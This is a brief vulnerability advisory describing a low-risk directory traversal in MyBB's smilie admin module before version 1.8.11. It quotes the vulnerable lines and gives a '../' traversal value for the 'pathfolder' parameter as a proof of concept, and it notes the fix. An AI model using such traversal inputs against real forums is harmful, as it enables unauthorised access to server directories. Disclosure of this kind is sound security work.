MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal

Description:
============

product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

===============

Proof of Concept:
=============

vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============